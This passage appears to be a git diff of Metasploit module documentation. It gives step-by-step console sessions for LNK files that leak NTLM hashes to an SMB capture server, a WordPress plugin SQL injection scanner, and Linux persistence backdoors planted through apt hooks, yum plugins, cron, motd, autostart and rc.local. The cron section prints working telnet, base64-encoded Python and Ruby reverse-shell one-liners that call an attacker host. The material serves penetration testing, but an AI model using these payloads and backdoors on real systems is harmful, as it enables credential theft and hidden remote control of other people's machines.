msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll
|
||||
ICON_PATH => %SystemRoot%\\System32\\imageres.dll
|
||||
msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15
|
||||
PADDING_SIZE => 15
|
||||
msf auxiliary(fileformat/right_click_lnk_leak) > run
|
||||
|
||||
[*] Creating 'context.lnk' file...
|
||||
[+] LNK file created: context.lnk
|
||||
[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Set up the capture listener on the attacker machine:
|
||||
|
||||
```
|
||||
msf > use auxiliary/server/capture/smb
|
||||
msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25
|
||||
SRVHOST => 192.168.1.25
|
||||
msf auxiliary(server/capture/smb) > run
|
||||
[*] Server started.
|
||||
```
|
||||
|
||||
Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted:
|
||||
|
||||
```
|
||||
[*] SMB Captured - 2025-09-18 21:08:00 +0530
|
||||
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
|
||||
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:examplehashvalue
|
||||
NT_CLIENT_CHALLENGE:examplechallenge
|
||||
```
|
||||
|
||||
Use cracking tools to recover credentials from the hash.
|
||||
@@ -0,0 +1,88 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks.
|
||||
|
||||
References:
|
||||
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
|
||||
|
||||
Disclosure Date: 2025-05-16.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
|
||||
1. Set options like FILENAME, or others as needed.
|
||||
1. Execute the module: `run`.
|
||||
1. A malicious LNK file is generated.
|
||||
1. Place the LNK in a target directory.
|
||||
1. Browse the directory in Windows Explorer to trigger the SMB connection.
|
||||
1. Check the console for captured NTLM hashes.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
### DESCRIPTION
|
||||
|
||||
Optional description for the shortcut. If unset, a random sentence is generated.
|
||||
|
||||
Example:
|
||||
```
|
||||
set DESCRIPTION System Update
|
||||
```
|
||||
|
||||
### ICON_PATH
|
||||
|
||||
Optional icon path for the LNK. If unset, a random system icon path is generated.
|
||||
|
||||
Example:
|
||||
```
|
||||
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
|
||||
```
|
||||
|
||||
### PADDING_SIZE
|
||||
|
||||
Size of padding in the command arguments.
|
||||
|
||||
Default: 10
|
||||
|
||||
Example:
|
||||
```
|
||||
set PADDING_SIZE 20
|
||||
```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### NTLM Hash Capture via Integrated Server
|
||||
|
||||
Target: Windows system with Explorer.
|
||||
|
||||
```
|
||||
msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk
|
||||
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk
|
||||
FILENAME => leak.lnk
|
||||
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25
|
||||
SRVHOST => 192.168.1.25
|
||||
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut
|
||||
DESCRIPTION => Fake Shortcut
|
||||
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15
|
||||
PADDING_SIZE => 15
|
||||
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run
|
||||
|
||||
[*] Creating 'leak.lnk' file...
|
||||
[+] LNK file created: leak.lnk
|
||||
[*] Listening for hashes on 192.168.1.25:445
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection:
|
||||
|
||||
```
|
||||
[*] SMB Captured - 2025-09-18 21:07:00 +0530
|
||||
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
|
||||
USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:samplehash
|
||||
NT_CLIENT_CHALLENGE:samplechallenge
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut.
|
||||
This can lead to NTLM credential leaks over SMB.
|
||||
|
||||
References:
|
||||
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
|
||||
- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382)
|
||||
|
||||
Disclosure Date: 2025-05-10 (reported to MSRC).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
|
||||
3. Customize options as needed (e.g., set FILENAME or APPNAME).
|
||||
4. Execute the module: `run`.
|
||||
5. A malicious LNK file will be generated.
|
||||
6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.
|
||||
7. Place the LNK file in a directory on the target system.
|
||||
8. Browse to the directory in Windows Explorer to trigger the SMB connection.
|
||||
9. Monitor the console for captured NTLM hashes.
|
||||
|
||||
## Options
|
||||
|
||||
### APPNAME
|
||||
|
||||
Sets the display name of the application in the LNK file. If empty, a random name is generated.
|
||||
|
||||
Example:
|
||||
```
|
||||
set APPNAME FakeApp
|
||||
```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Basic NTLM Hash Capture on Windows
|
||||
|
||||
Target: A Windows system with Explorer (e.g., Windows 10 or later).
|
||||
|
||||
Attacker: Use the module to generate the LNK and capture hashes locally.
|
||||
|
||||
```
|
||||
msf > use auxiliary/fileformat/specialfolderdatablock_lnk
|
||||
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk
|
||||
FILENAME => malicious.lnk
|
||||
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25
|
||||
SRVHOST => 192.168.1.25
|
||||
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp
|
||||
APPNAME => FakeApp
|
||||
msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
|
||||
|
||||
[*] Starting SMB server on 192.168.1.25:445
|
||||
[*] Generating malicious LNK file
|
||||
[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk
|
||||
[*] Listening for hashes on 192.168.1.25:445
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive).
|
||||
When the victim opens the containing folder in Explorer, an SMB connection is attempted:
|
||||
|
||||
```
|
||||
[*] SMB Captured - 2025-09-18 21:03:00 +0530
|
||||
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
|
||||
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:examplehashvalue
|
||||
NT_CLIENT_CHALLENGE:examplechallenge
|
||||
```
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will scan given instances for an unauthenticated SQL injection
|
||||
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
|
||||
|
||||
## References
|
||||
* [https://wordpress.org/plugins/cp-multi-view-calendar/]
|
||||
|
||||
### Setup using Docksal
|
||||
Install [Docksal](https://docksal.io/)
|
||||
|
||||
Create a new Wordpress installation using `fin project create`
|
||||
|
||||
```
|
||||
➜ ~ fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 8
|
||||
2. Drupal 8 (Composer Version)
|
||||
3. Drupal 7
|
||||
4. Wordpress
|
||||
5. Magento
|
||||
6. Laravel
|
||||
7. Symfony Skeleton
|
||||
8. Symfony WebApp
|
||||
9. Grav CMS
|
||||
10. Backdrop CMS
|
||||
Go based
|
||||
11. Hugo
|
||||
JS based
|
||||
12. Gatsby JS
|
||||
13. Angular
|
||||
HTML
|
||||
14. Static HTML site
|
||||
Enter your choice (1-14): 4
|
||||
Project folder: /home/weh/dev/msf-wp
|
||||
Project software: Wordpress
|
||||
Project URL: http://msf-wp.docksal
|
||||
Do you wish to proceed? [y/n]: y
|
||||
Cloning repository...
|
||||
Cloning into 'msf-wp'...
|
||||
...
|
||||
3. Installing site
|
||||
Step 1 Initializing stack...
|
||||
Removing containers...
|
||||
...
|
||||
Starting services...
|
||||
Creating network "msf-wp_default" with the default driver
|
||||
Creating volume "msf-wp_cli_home" with default driver
|
||||
Creating volume "msf-wp_project_root" with local driver
|
||||
Creating volume "msf-wp_db_data" with default driver
|
||||
Creating msf-wp_db_1 ... done
|
||||
Creating msf-wp_cli_1 ... done
|
||||
Creating msf-wp_web_1 ... done
|
||||
Connected vhost-proxy to "msf-wp_default" network.
|
||||
Waiting for project stack to become ready...
|
||||
Step 2 Initializing site...
|
||||
Step 2 Generating wp-config.php...
|
||||
Success: Generated 'wp-config.php' file.
|
||||
Step 3 Installing site...
|
||||
msmtp: envelope-from address is missing
|
||||
Success: WordPress installed successfully.
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
➜ ~
|
||||
```
|
||||
|
||||
Download the Wordpress plugin
|
||||
|
||||
```
|
||||
cd msf-wp/wp-content/plugins
|
||||
wget https://github.com/wp-plugins/cp-multi-view-calendar/archive/refs/tags/1.0.2.zip
|
||||
unzip 1.0.2.zip
|
||||
```
|
||||
|
||||
Login and click on DukaPress "Activate" Link
|
||||
|
||||
```
|
||||
http://msf-wp.docksal/wp-admin/plugins.php
|
||||
user: admin
|
||||
pass: admin
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/http/press_cp_calendar_sqli`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
3. Do: `set VHOST [HOSTNAME]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf auxiliary(wordpress_cp_calendar_sqli) > run
|
||||
|
||||
[+] 10.211.55.4:80 - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,66 +0,0 @@
|
||||
## Description
|
||||
|
||||
This module will run a payload when the package manager is used. No
|
||||
handler is ran automatically so you must configure an appropriate
|
||||
exploit/multi/handler to connect. This module creates a pre-invoke hook
|
||||
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box that uses APT
|
||||
2. `use linux/local/apt_package_manager_persistence`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the system runs apt-get update the payload will launch. You must set handler accordingly.
|
||||
|
||||
## Options
|
||||
|
||||
**BACKDOOR_NAME**
|
||||
|
||||
Name of backdoor executable
|
||||
|
||||
**HOOKNAME**
|
||||
|
||||
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
Writable directory for backdoor default is (/usr/local/bin/)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Ubuntu 18.04.2 LTS
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/apt_package_manager_persistence
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
|
||||
[*] Payload handler running as background job 0.
|
||||
msf exploit(linux/local/apt_package_manager_persistence) >
|
||||
[*] Started reverse TCP handler on 172.22.222.136:4444
|
||||
[*] Sending stage (985320 bytes) to 172.22.222.130
|
||||
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
|
||||
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
|
||||
lhost => 172.22.222.136
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > set lport 4444
|
||||
lport => 4444
|
||||
msf exploit(linux/local/apt_package_manager_persistence) > exploit
|
||||
|
||||
[*] Attempting to write hook:
|
||||
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
|
||||
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
|
||||
[*] Backdoor will run on next APT update
|
||||
msf exploit(linux/local/apt_package_manager_persistence) >
|
||||
[*] Sending stage (985320 bytes) to 172.22.222.130
|
||||
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
|
||||
|
||||
msf exploit(linux/local/apt_package_manager_persistence) >
|
||||
```
|
||||
|
||||
Note: Second session comes in after running `apt update` on the remote host
|
||||
@@ -1,22 +0,0 @@
|
||||
## Autostart persistence
|
||||
|
||||
This module persist a payload by creating a `.desktop` entry for Linux desktop targets.
|
||||
|
||||
### Testing
|
||||
|
||||
1. Exploit a box
|
||||
2. `use exploit/linux/local/autostart_persistence`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the victim logs in your payload will be executed!
|
||||
|
||||
|
||||
### Options
|
||||
|
||||
|
||||
**NAME**
|
||||
|
||||
Name of the `.desktop` entry to add, if not specified it will be chosen randomly.
|
||||
|
||||
@@ -1,144 +0,0 @@
|
||||
### Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Kali Rolling
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/cron_persistence`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set target #`
|
||||
7. Do: `set verbose true`
|
||||
8. Optional Do: `set username` (depends on target selection)
|
||||
9. Optional Do: `set cleanup false`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**username**
|
||||
|
||||
Set a specific user's crontab if target 'User Crontab' is selected
|
||||
|
||||
**timing**
|
||||
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate
|
||||
|
||||
**cleanup**
|
||||
|
||||
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!**
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Kali Rolling (root)
|
||||
|
||||
Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
|
||||
rhosts => 10.10.60.168
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 10.10.60.168:22 SSH - Starting bruteforce
|
||||
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
|
||||
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Run our module (Cron)
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 0
|
||||
target => 0
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse double handler
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo xPBXQvodQdzgByKR;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "xPBXQvodQdzgByKR\r\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
|
||||
[+] Deleted /etc/cron.d/FiThkldAZR
|
||||
|
||||
Run our module (System Crontab)
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 2
|
||||
target => 2
|
||||
msf exploit(cron_persistence) > set cleanup false
|
||||
cleanup => false
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
|
||||
|
||||
And since we didn't clean up, if our session dies...
|
||||
|
||||
^C
|
||||
Abort session 2? [y/N] y
|
||||
|
||||
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
|
||||
msf exploit(cron_persistence) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(handler) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
|
||||
|
||||
Run our module (User Crontab)
|
||||
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 1
|
||||
target => 1
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
|
||||
[*] Reloading cron to pickup new entry
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
|
||||
@@ -1,37 +0,0 @@
|
||||
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
|
||||
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a session on the target machine
|
||||
3. `use exploit/linux/local/motd_persistence`
|
||||
4. `set session -1`
|
||||
5. `exploit`
|
||||
|
||||
## Module usage
|
||||
|
||||
```
|
||||
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/local/motd_persistence) > set session -1
|
||||
session => -1
|
||||
msf exploit(linux/local/motd_persistence) > exploit
|
||||
|
||||
[*] /etc/update-motd.d/99-check-updates written
|
||||
msf exploit(linux/local/motd_persistence) >
|
||||
[*] Sending stage (3045380 bytes) to 172.18.49.39
|
||||
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
|
||||
msf exploit(linux/local/motd_persistence) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### BACKDOOR_NAME
|
||||
|
||||
Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)
|
||||
@@ -1,46 +0,0 @@
|
||||
## rc.local Persistence
|
||||
|
||||
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
|
||||
|
||||
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
|
||||
|
||||
|
||||
### Verification
|
||||
|
||||
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
|
||||
2. `use exploit/linux/local/rc_local_persistence`
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
|
||||
### Sample run
|
||||
|
||||
#### Escalate the session if needed
|
||||
|
||||
```
|
||||
msf exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo
|
||||
msf post(multi/manage/sudo) > set session 3
|
||||
session => 3
|
||||
msf post(multi/manage/sudo) > run
|
||||
|
||||
[*] SUDO: Attempting to upgrade to UID 0 via sudo
|
||||
[*] No password available, trying a passwordless sudo.
|
||||
[+] SUDO: Root shell secured.
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
#### Persist
|
||||
|
||||
```
|
||||
msf post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
|
||||
msf exploit(multi/handler) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
|
||||
LHOST => 192.168.0.41
|
||||
msf exploit(linux/local/rc_local_persistence) > run
|
||||
|
||||
[*] Reading /etc/rc.local
|
||||
[*] Patching /etc/rc.local
|
||||
```
|
||||
@@ -1,84 +0,0 @@
|
||||
## Description
|
||||
|
||||
This module will run a payload when the package manager is used. No
|
||||
handler is ran automatically so you must configure an appropriate
|
||||
exploit/multi/handler to connect. Module modifies a yum plugin to
|
||||
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
|
||||
will show what plugins are currently enabled on the system.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box that uses Yum
|
||||
2. `use linux/local/yum_package_manager_persistence`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the system runs yum update the payload will launch. You must set handler accordingly.
|
||||
|
||||
## Options
|
||||
|
||||
**BACKDOOR_NAME**
|
||||
Name of backdoor executable
|
||||
|
||||
**PLUGIN**
|
||||
Name of the yum plugin to target
|
||||
|
||||
**WritableDir**
|
||||
Writable directory for backdoor default is (/usr/local/bin/)
|
||||
|
||||
**PluginPath**
|
||||
Plugin path to use default is (/usr/lib/yum-plugins/)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Fedora 21
|
||||
|
||||
```
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
|
||||
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks
|
||||
plugin => langpacks
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136
|
||||
lhost => 172.22.222.136
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > exploit
|
||||
|
||||
[*] /usr/lib/yum-plugins/langpacks.py
|
||||
[+] Plugins are enabled!
|
||||
[*] Attempting to modify plugin
|
||||
[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg
|
||||
[*] Backdoor will run on next Yum update
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500
|
||||
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
|
||||
2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135)
|
||||
|
||||
msf exploit(linux/local/yum_package_manager_persistence) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 172.22.222.135 - Command shell session 2 closed.
|
||||
msf exploit(linux/local/yum_package_manager_persistence) >
|
||||
```
|
||||
|
||||
Note: Session 2 is received after running yum update on the remote host.
|
||||
@@ -0,0 +1,138 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will run a payload when the apt package manager is used.
|
||||
This module creates a pre-invoke hook for APT in `apt.conf.d`.
|
||||
The hook name syntax is numeric followed by text.
|
||||
|
||||
Verified on Ubuntu 22.04
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box that uses APT
|
||||
2. Obtain root persmissions, or enough permissions to edit the `apt.conf.d` folder
|
||||
3. `use exploit/linux/persistence/apt_package_manager`
|
||||
4. `set SESSION <id>`
|
||||
5. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
|
||||
6. `exploit`
|
||||
|
||||
When the system runs `apt-get update` the payload will launch.
|
||||
|
||||
## Options
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of backdoor executable. Defaults to a random name
|
||||
|
||||
### HOOKNAME
|
||||
|
||||
Name of pre-invoke hook to be installed in `/etc/apt/apt.conf.d/`. Pre-invoke hook name syntax is numeric followed by text.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Ubuntu 22.04
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
$ ./msfconsole -q
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
